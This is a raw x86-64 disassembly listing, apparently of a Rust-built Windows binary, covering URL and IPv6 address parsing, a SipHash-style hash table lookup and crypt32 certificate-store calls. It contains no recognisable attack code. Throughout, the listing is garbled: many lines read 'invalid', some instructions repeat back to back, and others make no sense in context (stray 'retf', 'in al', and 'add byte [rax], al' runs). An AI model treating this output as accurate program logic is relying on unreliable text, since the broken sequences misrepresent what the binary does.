movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
mov rcx, qword [rsp + 0x270]
mov rax, qword [rcx + 0x50]
lea rdi, [rsp + 0x1c8]
mov qword [rdi + 0x50], rax
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdi + 0x40], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov r8d, 0xd0
lea rcx, [rsp + 0x3e8]
lea rdx, [rsp + 0x150]
call fcn.140121660
mov rax, qword [rsp + 0xb0]
mov qword [rax], 3
cmp rsi, 1
ja 0x14009bd58
mov qword [rsp + 0x150], rsi
mov rax, qword [rsp + 0x458]
mov qword [rdi], rax
movups xmm0, xmmword [rsp + 0x448]
movups xmmword [rdi - 0x10], xmm0
movups xmm0, xmmword [rsp + 0x438]
movups xmmword [rdi - 0x20], xmm0
movups xmm0, xmmword [rsp + 0x428]
movups xmmword [rdi - 0x30], xmm0
movups xmm0, xmmword [rsp + 0x3e8]
movups xmm1, xmmword [rsp + 0x3f8]
movups xmm2, xmmword [rsp + 0x408]
movups xmm3, xmmword [rsp + 0x418]
movups xmmword [rdi - 0x40], xmm3
movups xmmword [rdi - 0x50], xmm2
movups xmmword [rdi - 0x60], xmm1
movups xmmword [rdi - 0x70], xmm0
lea rax, [rsp + 0x460]
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x280], xmm0
movdqa xmmword [rsp + 0x290], xmm1
movaps xmmword [rsp + 0x2a0], xmm2
add byte [rdi], cl
sub dword [rsp + 0x2b0], ebx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x2b0], ebx
add byte [rax], al
add byte [rax], al
movdqu xmm0, xmmword [rax + 0x40]
movdqa xmmword [rsp + 0x2c0], xmm0
add byte [rax], al
add byte [rax], al
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x188]
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax], al
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x278], rax
mov eax, dword [rsp + 0x190]
add byte [rax], al
mov qword [rsp + 0x278], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xcc], eax
mov rcx, qword [rsp + 0x1c0]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14009a940
mov rbx, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, rbx
mov qword [rsp + 0xb8], rax
jmp 0x140099921
mov qword [rsp + 0xd0], 2
add rbx, 0x88
cmp rbx, qword [rsp + 0xb8]
je 0x14009a940
lea r15, [rbx + 0x58]
xor eax, eax
cmp rax, qword [rbx + 0x58]
cmovo r15, rax
jo 0x14009a1fb
mov rdx, qword [rsp + 0x2a0]
test rdx, rdx
je 0x14009bd26
mov rcx, qword [rsp + 0x298]
call case.0x1400dd9c6.1014
mov rsi, rax
test rdx, rdx
je 0x140099ae9
invalid
mov al, byte [rcx]
add byte [rax], al
test byte [rdx + 0x49000001], cl
mov esp, edx
mov r12, rdx
cmp byte [rsi], 0x5b
jne 0x140099aec
add r12, rsi
mov r10b, 0x5b
xor eax, eax
mov r8, rsi
test r10b, r10b
jns 0x140099a10
invalid
add bl, ch
invalid
jmp 0x14009999f
movzx r10d, byte [rcx]
mov rax, rdx
mov r8, rcx
mov eax, ecx
mov eax, ecx
test r10b, r10b
jns 0x140099a10
mov ecx, r10d
and cl, 0x1f
movzx r9d, cl
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp r10b, 0xdf
jbe 0x1400999f0
movzx edx, byte [r8 + 2]
shl r11d, 6
and edx, 0x3f
or edx, r11d
cmp r10b, 0xf0
jb 0x140099a00
lea rcx, [r8 + 4]
movzx r10d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or edx, edx
or edx, edx
or r9d, r10d
jmp 0x140099a18
nop dword [rax]
lea rcx, [r8 + 2]
shl r9d, 6
or r9d, r11d
jmp 0x140099a18
lea rcx, [r8 + 3]
shl r9d, 0xc
or r9d, edx
jmp 0x140099a18
lea rcx, [r8 + 1]
movzx r9d, r10b
mov rdx, rcx
sub rdx, r8
add rdx, rax
cmp r9d, 0x5b
cmp ecx, 0x5b
cmp ecx, 0x5b
je 0x140099a2d
cmp r9d, 0x5d
jne 0x140099a5a
cmp rcx, r12
jne 0x140099990
xor eax, eax
xor edx, edx
sub rdx, rax
add rsi, rax
mov r12, rdx
jmp 0x140099aec
cmp r9d, 0x5d
jne 0x14009a0bb
cmp rcx, r12
je 0x140099a3a
mov r8, r12
mov eax, esp
movsx r9d, byte [r12 - 1]
test r9d, r9d
js 0x140099a80
lea r12, [r8 - 1]
cmp r9d, 0x5b
jne 0x140099a50
jmp 0x140099a5a
movzx r10d, byte [r8 - 2]
cmp r10b, 0xc0
jge case.0x1400679a0.549
movzx r11d, byte [r8 - 3]
cmp r11b, 0xc0
jge 0x140099ab8
lea r12, [r8 - 4]
movzx edi, byte [r8 - 4]
and edi, 7
shl edi, 6
and r11d, 0x3f
or r11d, edi
jmp 0x140099ac0
lea r12, [r8 - 2]
and r10d, 0x1f
jmp 0x140099acb
lea r12, [r8 - 3]
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
shl r10d, 6
and r9b, 0x3f
movzx r9d, r9b
or r9d, r10d
cmp r9d, 0x5b
jne 0x140099a50
jmp 0x140099a5a
xor r12d, r12d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r12
mov rcx, r13
call fcn.14000b6f0
mov r14, rax
test r14b, 1
test dh, 1
je 0x140099b20
cmp qword [rsp + 0x38], 0
jne 0x14009a115
shr r14, 8
xor edi, edi
jmp 0x140099bc3
mov qword [rsp + 0xa0], r15
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
movdqa xmmword [rsp + 0x50], xmm7
mov rcx, r13
call fcn.14000b6f0
test al, 1
je 0x140099c56
shr rax, 8
xor r13d, r13d
xor ebp, ebp
mov ecx, eax
rol cx, 8
mov word [rsp + r13*2 + 0x50], cx
shr eax, 0x10
rol ax, 8
mov word [rsp + r13*2 + 0x52], ax
cmp r13, 6
jne 0x14009a108
invalid
movdqa xmm0, xmmword [rsp + 0x50]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm7
pshuflw xmm1, xmm1, 0xb1
jo 0x140099b4d
mov cl, 0xf3
pshufw mm1, mm1, 0xb1
jo 0x140099b4d
mov cl, 0xf3
pshufw mm1, mm1, 0xb1
punpcklbw xmm0, xmm7
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
lea r13, [rsp + 0x30]
mov r15, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x140099bd1
cmp byte [rax], al
jne 0x14009a115
pshufd xmm8, xmm0, 0xf9
movd r14d, xmm0
mov dil, 1
invalid
mov byte [rsp + 0x50], dil
mov dword [rsp + 0x51], r14d
movq qword [rsp + 0x55], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsp + 0x5d], xmm0
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x14009a1f0
mov rsi, qword [r15 + 8]
test dil, dil
je 0x140099e62
mov r14, qword [rsp + 0x51]
mov r15, qword [rsp + 0x59]
and al, 0x59
and al, 0x59
add rax, rax
lea r12, [rax + rax*8]
jmp 0x140099c33
test al, al
jne 0x140099ea0
invalid
add byte [rax - 0x7d], cl
invalid
add rsi, 0x12
add esi, 0x12
add r12, 0xffffffffffffffee
je 0x14009a1f0
add byte [rax], al
invalid
add byte [rax - 0x278afdc2], al
cmp dil, byte [rsi + 1]
jne 0x140099c25
cmp byte [rsi], 2
jne 0x140099c10
mov rax, qword [rsi + 2]
xor rax, r14
mov rcx, qword [rsi + 0xa]
xor rcx, r15
or rcx, rax
jne 0x140099c25
jmp 0x140099ea0
test r15, r15
je 0x140099d64
movzx ecx, byte [r14]
lea eax, [rcx - 0x30]
rol byte [r11 + 0x1c720af8], 1
rol byte [r11 + 0x1c720af8], 1
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
mov eax, 0xffffffff
cmovb ecx, eax
mov eax, ecx
cmp ecx, 0xf
ja 0x140099d64
mov rdi, r15
dec rdi
je 0x140099ea7
add ecx, 0xa
mov edx, 0xffffffff
cmovb ecx, edx
mov edx, ecx
retf 0xf983
invalid
ja 0x14009a0c6
retf 0xf983
lea rdi, [r15 - 2]
shl eax, 4
or eax, edx
test rdi, rdi
je 0x140099ea7
movzx ecx, byte [r14 + 2]
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x140099cf7
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
mov edx, 0xffffffff
cmovb ecx, edx
mov edx, ecx
cmp ecx, 0xf
ja 0x14009a91c
invalid
invalid
or al, 0
invalid
lea rdi, [r15 - 3]
shl eax, 4
or eax, edx
test rdi, rdi
dec dword [rdi]
invalid
sahf
add dword [rax], eax
invalid
movzx ecx, byte [r14 + 3]
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb case.0x140097fb5.388
cli
or dh, byte [rdx + 0x1c]
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
mov edx, 0xffffffff
cmovb ecx, edx
mov edx, ecx
cmp ecx, 0xf
ja 0x14009a928
lea rdi, [r15 - 4]
shl eax, 4
or eax, edx
test rdi, rdi
je 0x140099ea7
lea rcx, [r14 + 4]
movzx edx, byte [rcx]
lea r8d, [rdx - 0x30]
cmp r8d, 0xa
jb 0x140099d64
or edx, 0x20
add edx, 0xffffff9f
cmp edx, 6
jae 0x140099eaf
xor r13d, r13d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
mov rdi, r15
test rdi, rdi
je 0x14009a108
jne 0x14009a108
cmp rdi, 1
je 0x14009a108
add rdi, 0xfffffffffffffffe
movzx eax, byte [r14 + 1]
add r14, 2
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rdi
and al, 0x38
cmp al, 0x3a
jne 0x14009a108
mov qword [rsp + 0x31e], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x318], 0
mov r8d, 7
sub r8, r13
jb 0x14009bda6
lea r13, [rsp + 0x30]
mov rcx, r13
lea rdx, [rsp + 0x318]
add eax, dword [rax]
add al, ch
in al, 0x1d
idiv edi
mov ecx, 8
sub rcx, rax
jb 0x14009bdd3
cmp rax, 8
mov r15, qword [rsp + 0xa0]
je 0x14009bdbd
lea rcx, [rsp + rcx*2]
add rcx, 0x50
add rax, rax
lea rdx, [rsp + 0x318]
mov r8, rax
call fcn.140121660
movdqa xmm0, xmmword [rsp + 0x50]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm7
punpckhbw mm1, mm7
pshuflw xmm1, xmm1, 0xb1
pshufhw xmm1, xmm1, 0xb1
punpcklbw xmm0, xmm7
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
cmp qword [rsp + 0x38], 0
jne 0x14009a115
invalid
jmp 0x140099bb5
add rax, rax
lea r15, [rax + rax*8]
ror byte [rbp + rcx*4 + 0x3c], 0xc0
jmp 0x140099e8f
mov rcx, rsi
lea rdx, [rsp + 0x50]
call fcn.14003e2f0
invalid
test al, al
jne 0x140099ea0
inc dword [rax + rax*8 - 0x7cb7e08b]
invalid
add rsi, 0x12
add r15, 0xffffffffffffffee
je 0x14009a1f0
cmp byte [rsi], 2
jne 0x140099e70
cmp dil, byte [rsi + 1]
jne 0x140099e81
cmp r14d, dword [rsi + 2]
jne 0x140099e81
add dh, byte [rbp - 0x1f]
mov al, 1
jmp 0x14009a1fb
add r14, r15
mov rcx, r14
xor edi, edi
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdi
mov word [rsp + 0x50], ax
mov r13d, 1
mov r15d, 0xe
mov r14, rcx
jmp 0x140099ef8
add rax, rbp
xor edx, edx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdx
mov word [rsp + r13*2 + 0x50], cx
inc r13
mov rdi, rdx
mov r14, rax
add r15, 0xfffffffffffffffe
je 0x140099b72
cmp r13, 6
ja 0x140099f40
test rdi, rdi
je 0x14009a0d1
lea rax, [r14 + 1]
lea rbp, [rdi - 1]
movzx ecx, byte [r14]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbp
cmp cl, 0x3a
jne 0x14009a0f4
lea rcx, [rsp + 0x30]
call fcn.14000b6f0
test al, 1
je 0x140099f4d
jmp 0x14009a913
test rdi, rdi
je 0x14009a0d9
lea rbp, [rdi - 1]
movzx ecx, byte [r14]
lea rax, [r14 + 1]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbp
cmp cl, 0x3a
jne 0x14009a0db
test rbp, rbp
je 0x14009a0db
movzx edx, byte [r14 + 1]
lea ecx, [rdx - 0x30]
rol byte [rbx + 0x1c720af9], 1
rol byte [rbx + 0x1c720af9], 1
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov ecx, 0xffffffff
cmovb edx, ecx
mov ecx, edx
cmp edx, 0xf
ja 0x14009a0db
mov rdx, rbp
dec rdx
je 0x140099ed0
movzx r8d, byte [r14 + 2]
lea r9d, [r8 - 0x30]
rol byte [rcx - 0x7d], 1
stc
or dh, byte [rdx + 0x23]
rol byte [rcx - 0x7d], 1
stc
or dh, byte [rdx + 0x23]
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r9d, 0xffffffff
cmovb r8d, r9d
mov r9d, r8d
cmp r8d, 0xf
ja 0x14009a097
lea rdx, [rbp - 2]
shl ecx, 4
or ecx, r9d
test rdx, rdx
je 0x140099ed0
movzx r8d, byte [r14 + 3]
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x14009a01d
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r9d, 0xffffffff
cmovb r8d, r9d
mov r9d, r8d
cmp r8d, 0xf
ja 0x14009a0a3
lea rdx, [rbp - 3]
shl ecx, 4
or ecx, r9d
test rdx, rdx
je 0x140099ed0
movzx r8d, byte [r14 + 4]
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x14009a05e
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r9d, 0xffffffff
cmovb r8d, r9d
mov r9d, r8d
cmp r8d, 0xf
ja 0x14009a0af
lea rdx, [rbp - 4]
shl ecx, 4
or ecx, r9d
test rdx, rdx
je 0x140099ed0
lea rax, [r14 + 5]
movzx r8d, byte [rax]
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x14009a0db
or r8d, 0x20
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x140099ed5
jmp 0x14009a0db
add r14, 2
mov rax, r14
jmp 0x140099ed5
add r14, 3
mov rax, r14
jmp 0x140099ed5
add r14, 4
mov rax, r14
jmp 0x140099ed5
sub rdx, rcx
add rdx, r8
jmp 0x140099a3a
inc r14
mov rcx, r14
jmp 0x140099eaf
xor r15d, r15d
jmp 0x140099d67
xor edi, edi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rdi
cmp r13, 8
je 0x140099b72
jmp 0x140099d74
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rdi
cmp byte [r14], 0x3a
je 0x140099d87
lea r13, [rsp + 0x30]
mov r15, qword [rsp + 0xa0]
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x14009a1f0
mov rdi, qword [r15 + 0x20]
shl rax, 3
lea r15, [rax + rax*2]
xor r13d, r13d
jmp 0x14009a14d
mov rbp, qword [rdi + r13 + 8]
mov r14, qword [rdi + r13 + 0x10]
cmp r12, r14
jne 0x14009a16e
xor eax, eax
jmp 0x14009a1fb
xor eax, eax
lea r13, [rsp + 0x30]
mov rcx, qword [rbx]
lea rdx, [0x140194b28]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
test al, al
jne 0x140099900
test byte [rbx + 8], 1
je 0x14009a37c
mov sil, 2
cmp byte [rbx + 0x50], 2
je 0x14009a242
lea rdx, [rbx + 0x48]
mov rax, qword [rbx + 0x30]
mov r8, qword [rbx + 0x38]
mov r9, qword [rbx + 0x40]
mov rcx, r13
call qword [rax]
movzx esi, byte [rbx + 0x50]
lea rdx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov r9, qword [rbx + 0x20]
lea rcx, [rsp + 0x58]
call qword [rax]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
lea rax, [rsp + 0x58]
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
mov byte [rsp + 0x98], sil
jmp 0x14009a7d3
test al, al
jne 0x140099900
lea rdx, [rbx + 8]
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x280]
call fcn.1400a2df0
cmp qword [rsp + 0xd0], 2
je 0x14009990c
jmp 0x14009af03
test al, al
jne 0x140099900
movzx eax, byte [rsp + 0x280]
cmp eax, 1
je 0x14009a3d9
cmp eax, 2
jne 0x14009bd40
mov rax, qword [rsp + 0x288]
cmp qword [rax + 0x10], 5
jne 0x140099900
mov rax, qword [rax + 8]
jmp 0x14009a3f9
test al, al
jne 0x140099900
mov rdx, qword [rbx + 8]
movzx eax, byte [rsp + 0x280]
cmp eax, 1
mov qword [rsp + 0xc0], rbx
je 0x14009a416
cmp eax, 2
jne 0x14009bd40
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x288]
mov r12, qword [rax + 8]
mov rsi, qword [rax + 0x10]
cmp qword [rdx + 0x28], 0
jne 0x14009a442
jmp 0x14009a7e1
add byte [rax + rax*8 - 0xa457af1], al
invalid
test al, al
jne 0x140099900
movzx eax, byte [rsp + 0x280]
cmp eax, 1
je 0x14009a4f5
cmp eax, 2
jne 0x14009bd40
mov rax, qword [rsp + 0x288]
cmp qword [rax + 0x10], 4
jne 0x140099900
mov rax, qword [rax + 8]
jmp 0x14009a515
mov sil, 2
cmp byte [rbx + 0x50], 2
je 0x14009a39e
lea rdx, [rbx + 0x48]
mov rax, qword [rbx + 0x30]
mov r8, qword [rbx + 0x38]
mov r9, qword [rbx + 0x40]
mov rcx, r13
call qword [rax]
movzx esi, byte [rbx + 0x50]
lea rdx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov r9, qword [rbx + 0x20]
lea rcx, [rsp + 0x58]
call qword [rax]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
lea rax, [rsp + 0x58]
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
mov byte [rsp + 0x98], sil
jmp 0x14009a862
cmp byte [rsp + 0x281], 0
lea rax, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [0x14018dd8c]
cmovne rax, rcx
je 0x140099900
mov ecx, dword [rax]
mov edx, 0x70747468
xor ecx, edx
movzx eax, byte [rax + 4]
xor eax, 0x73
or eax, ecx
jne 0x140099900
jmp 0x14009a216
movzx esi, byte [rsp + 0x281]
test rsi, rsi
lea r12, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rax, [0x14018dd8c]
cmovne r12, rax
or rsi, 4
cmp qword [rdx + 0x28], 0
je 0x14009a7e1
mov r8, qword [rdx + 0x30]
mov r9, qword [rdx + 0x38]
mov r11, r8
movabs rax, 0x736f6d6570736575
xor r11, rax
mov r10, r9
movabs rax, 0x646f72616e646f6d
xor r10, rax
movabs rax, 0x6c7967656e657261
xor r8, rax
movabs rax, 0x7465646279746573
xor r9, rax
mov rax, rsi
xor edi, edi
and rax, 0xfffffffffffffff8
je 0x14009a4d3
nop
mov rcx, qword [r12 + rdi]
xor r9, rcx
add r11, r10
rol r10, 0xd
add r8, r9
xor r10, r11
rol r9, 0x10
xor r9, r8
rol r11, 0x20
add r8, r10
add r11, r9
rol r10, 0x11
xor r10, r8
rol r9, 0x15
rol r8, 0x20
xor r9, r11
xor r11, rcx
add rdi, 8
cmp rdi, rax
jb 0x14009a490
mov r14d, esi
and r14d, 7
cmp r14d, 4
jb 0x14009a526
mov r15d, dword [r12 + rdi]
mov eax, 4
mov ecx, eax
or ecx, 1
cmp ecx, r14d
jb 0x14009a535
jmp 0x14009a54e
cmp byte [rsp + 0x281], 0
lea rax, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
lea rcx, [0x14018dd8c]
cmovne rax, rcx
jne 0x140099900
cmp dword [rax], 0x70747468
jne 0x140099900
jmp 0x14009a216
xor r15d, r15d
xor eax, eax
mov ecx, eax
or ecx, 1
cmp ecx, r14d
jae 0x14009a54e
lea rcx, [r12 + rax]
movzx ebx, word [rdi + rcx]
lea ecx, [rax*8]
shl rbx, cl
or r15, rbx
or rax, 2
cmp eax, r14d
jae 0x14009a568
add rdi, rax
movzx edi, byte [r12 + rdi]
shl eax, 3
mov ecx, eax
shl rdi, cl
or r15, rdi
jmp 0x14009a56d
test r14, r14
je 0x14009a5c0
lea ecx, [r14*8]
mov eax, 0xff
shl rax, cl
or rax, r15
cmp r14, 7
jne 0x14009a5c5
xor r9, rax
add r11, r10
add r8, r9
rol r10, 0xd
rol r9, 0x10
xor r10, r11
xor r9, r8
rol r11, 0x20
add r8, r10
add r11, r9
rol r10, 0x11
xor r10, r8
rol r9, 0x15
xor r9, r11
rol r8, 0x20
xor r11, rax
xor eax, eax
jmp 0x14009a5c5
mov eax, 0xff
mov rcx, rsi
shl rcx, 0x38
movabs rdi, 0x100000000000000
add rcx, rdi
or rcx, rax
xor r9, rcx
add r11, r10
add r8, r9
rol r10, 0xd
xor r10, r11
rol r9, 0x10
rol r11, 0x20
xor r9, r8
add r8, r10
rol r10, 0x11
add r11, r9
xor r10, r8
rol r9, 0x15
xor r9, r11
rol r8, 0x20
xor r11, rcx
xor r8, 0xff
add r11, r10
rol r10, 0xd
add r8, r9
xor r10, r11
rol r9, 0x10
xor r9, r8
rol r11, 0x20
add r8, r10
add r11, r9
rol r10, 0x11
xor r10, r8
rol r9, 0x15
rol r8, 0x20
xor r9, r11
add r11, r10
rol r10, 0xd
add r8, r9
xor r10, r11
rol r9, 0x10
xor r9, r8
rol r11, 0x20
add r8, r10
add r11, r9
rol r10, 0x11
xor r10, r8
rol r9, 0x15
rol r8, 0x20
xor r9, r11
add r11, r10
rol r10, 0xd
add r8, r9
xor r10, r11
rol r9, 0x10
xor r9, r8
add r8, r10
rol r10, 0x11
rol r9, 0x15
mov rax, r8
rol rax, 0x20
xor rax, r10
xor rax, r9
xor rax, r8
mov rcx, qword [rdx + 0x10]
mov r14, qword [rdx + 0x18]
mov r15, r14
and r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
mov qword [rsp + 0xa0], rcx
lea r13, [rcx - 0x68]
xor ebp, ebp
mov rax, qword [rsp + 0xa0]
movdqu xmm10, xmmword [rax + r15]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm9
pmovmskb edi, xmm0
test edi, edi
jne 0x14009a72a
pcmpeqb xmm10, xmm6
pmovmskb eax, xmm10
test eax, eax
jne 0x14009a7e1
add r15, rbp
add r15, 0x10
add rbp, 0x10
and r15, r14
jmp 0x14009a6db
lea eax, [rdi - 1]
and ax, di
mov edi, eax
je 0x14009a6fb
tzcnt eax, edi
add rax, r15
and rax, r14
neg rax
imul rbx, rax, 0x68
cmp rsi, qword [r13 + rbx + 0x10]
jne 0x14009a720
lea rax, [rbx + r13]
mov rdx, qword [rax + 8]
mov rcx, r12
mov r8, rsi
call fcn.1401220a0
test eax, eax
jne 0x14009a720
mov rax, qword [rsp + 0xa0]
lea rsi, [rax + rbx]
test byte [rax + rbx - 0x50], 1
je 0x14009a7ff
mov dil, 2
cmp byte [rsi - 8], 2
lea r13, [rsp + 0x30]
mov rbx, qword [rsp + 0xc0]
je 0x14009a79f
lea rdx, [rsi - 0x10]
mov rax, qword [rsi - 0x28]
mov r8, qword [rsi - 0x20]
mov r9, qword [rsi - 0x18]
mov rcx, r13
call qword [rax]
movzx edi, byte [rsi - 8]
lea rdx, [rsi - 0x30]
mov rax, qword [rsi - 0x48]
mov r8, qword [rsi - 0x40]
mov r9, qword [rsi - 0x38]
lea rsi, [rsp + 0x58]
mov rcx, rsi
call qword [rax]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x30], xmm1
movups xmmword [rsi + 0x20], xmm0
mov byte [rsp + 0x98], dil
mov qword [rsp + 0x50], 1
jmp 0x14009a86b
mov qword [rsp + 0xd0], 2
lea r13, [rsp + 0x30]
mov rbx, qword [rsp + 0xc0]
jmp 0x14009990c
mov dil, 2
cmp byte [rsi - 8], 2
lea r13, [rsp + 0x30]
mov rbx, qword [rsp + 0xc0]
je 0x14009a82e
lea rdx, [rsi - 0x10]
mov rax, qword [rsi - 0x28]
mov r8, qword [rsi - 0x20]
mov r9, qword [rsi - 0x18]
mov rcx, r13
call qword [rax]
movzx edi, byte [rsi - 8]
lea rdx, [rsi - 0x30]
mov rax, qword [rsi - 0x48]
mov r8, qword [rsi - 0x40]
mov r9, qword [rsi - 0x38]
lea rsi, [rsp + 0x58]
mov rcx, rsi
call qword [rax]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x30], xmm1
movups xmmword [rsi + 0x20], xmm0
mov byte [rsp + 0x98], dil
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x110], rax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x118], al
mov eax, dword [rsp + 0x99]
mov dword [rsp + 0x119], eax
movzx eax, word [rsp + 0x9d]
mov word [rsp + 0x11d], ax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
movdqu xmm0, xmmword [rsp + 0x60]
movdqu xmm1, xmmword [rsp + 0x70]
movups xmm2, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rcx
cmp qword [rsp + 0xd0], 2
je 0x14009990c
jmp 0x14009af03
shr rax, 8
jmp 0x140099b4f
add r14, 2
mov rcx, r14
jmp 0x140099eaf
add r14, 3
mov rcx, r14
jmp 0x140099eaf
mov rdi, qword [rsp + 0x170]
lock inc qword [rdi]
jle 0x14009bd3e
mov rbx, qword [rsp + 0x178]
mov r15, qword [rsp + 0x180]
lock inc qword [rbx]
jle 0x14009bd3e
cmp dword [rsp + 0x150], 1
jne 0x14009a9a0
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x248], rax
mov esi, 1
jmp 0x14009a9a2
xor esi, esi
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r12, rax
movzx r14d, byte [rsp + 0x16c]
movzx ebp, byte [rsp + 0x16d]
movq xmm9, qword [rsp + 0x168]
mov rax, qword [rsp + 0x1c0]
lock inc qword [rax]
jle 0x14009bd3e
mov qword [rsp + 0xb8], rsi
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xa0], rax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x250], rax
movzx eax, byte [rsp + 0x1c9]
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x1ca]
mov byte [rsp + 0x2d], al
mov r13b, 2
cmp byte [rsp + 0x1b8], 2
je 0x14009aa7a
mov rax, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov r9, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x1b0]
call qword [rax]
movzx r13d, byte [rsp + 0x1b8]
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
lea rax, [rsp + 0x4f0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x538
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14009bd88
mov rsi, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsi], rax
mov rax, qword [rsp + 0x248]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r12
movd dword [rsi + 0x18], xmm9
mov byte [rsi + 0x1c], r14b
mov byte [rsi + 0x1d], bpl
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], rbx
mov qword [rsi + 0x30], r15
